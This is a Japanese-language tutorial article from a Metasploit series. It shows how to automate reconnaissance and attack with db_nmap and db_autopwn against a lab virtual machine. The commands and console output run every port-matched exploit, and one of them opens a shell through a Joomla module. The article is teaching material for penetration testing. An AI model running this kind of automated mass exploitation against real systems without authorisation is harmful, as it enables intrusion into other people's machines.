Articles - Security |
ターゲットの調査~脆弱性アタックを自動化
ここまでは、Metasploitで単純にexploitを実行する手順しか解説したが、次に、Metasploitのexploit自動化機能(autopwn)についても解説しておこう。この機能を利用すれば、NmapやNessus、OpenVasなどのスキャン結果をインポートしてexploitを実行させることや、指定したポートに対するexploitを全て実行させるといったことが行える。
ここでは、「Nmapでポートスキャン→開いているポートを指定して該当するexploitを全て実行」という流れで、ターゲット調査~アタックまでを自動化する。ページの都合上、詳細説明は省略して手順のみを解説するが、Nmap、Nessusのスキャン結果をインポートしたい場合には、同様にして、db_import_nessus_nbeやdb_import_nmap_xmlコマンドなどでファイルを指定すればよい。
msf > db_create test1 [*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: test1
②:次にNmapでポートスキャンを実行し、結果をデーターベースにインポートする。これは、db_nmapコマンドを使用する。「db_nmap <ターゲットIPアドレス>」。
msf > db_nmap 192.168.241.138
Starting Nmap 5.00 ( http://nmap.org ) at 2010-03-24 15:05 EDT
Interesting ports on 192.168.241.138:
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:48:E9:26 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
③:db_hostsコマンドで、ターゲットを確認する。シングルホストだけでなく、複数のターゲットを指定することもできる。
msf > db_hosts Hosts
=====
address address6 arch comm created_at os_flavor os_lang os_name os_sp state update
------- -------- ---- ---- ---------- --------- ------- ------- ----- ----- ------
192.168.241.138 Wed Mar 24 alive Wed Ma
④:db_autopwnコマンドのヘルプを表示して、コマンドオプションを確認。ここでは、開いてるポート(ここでは80のみ)に対するexploitモジュールを全て実行させる指定をしている。結果、合計90のexploitsを実行してJoomlaのexploitがヒットした。
msf > db_autopwn -h [*] Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit modules -x Select modules based on vulnerability references -p Select modules based on open ports -e Launch exploits against all matched targets -r Use a reverse connect shell -b Use a bind shell on a random port (default) -q Disable exploit module output -R [rank] Only run modules with a minimal rank -I [range] Only exploit hosts inside this range -X [range] Always exclude hosts inside this range -PI [range] Only exploit hosts with these ports open -PX [range] Always exclude hosts with these ports open -m [regex] Only run modules whose name matches the regex msf > db_autopwn -t -p -e -b [*] Analysis completed in 8 seconds (0 vulns / 0 refs) [*] [*] ================================================================================ [*] Matching Exploit Modules [*] ================================================================================ ~~~~省略~~~~ [*] Job limit reached, waiting on modules to finish... [*] (90/90 [1 sessions]): Launching exploit/unix/webapp/twiki_search against 192.168.241.138:80... [*] (90/90 [1 sessions]): Waiting on 0 launched modules to finish execution... [*] The autopwn command has completed with 1 sessions [*] Enter sessions -i [ID] to interact with a given session ID [*] [*] ================================================================================ Active sessions =============== Id Type Information Connection Via -- ---- ----------- ---------- --- 1 shell 192.168.241.132:51527 -> 192.168.241.138:32152 exploit/unix/webapp/joomla_tinybrowser [*] ================================================================================
Metasploit Tutorial 3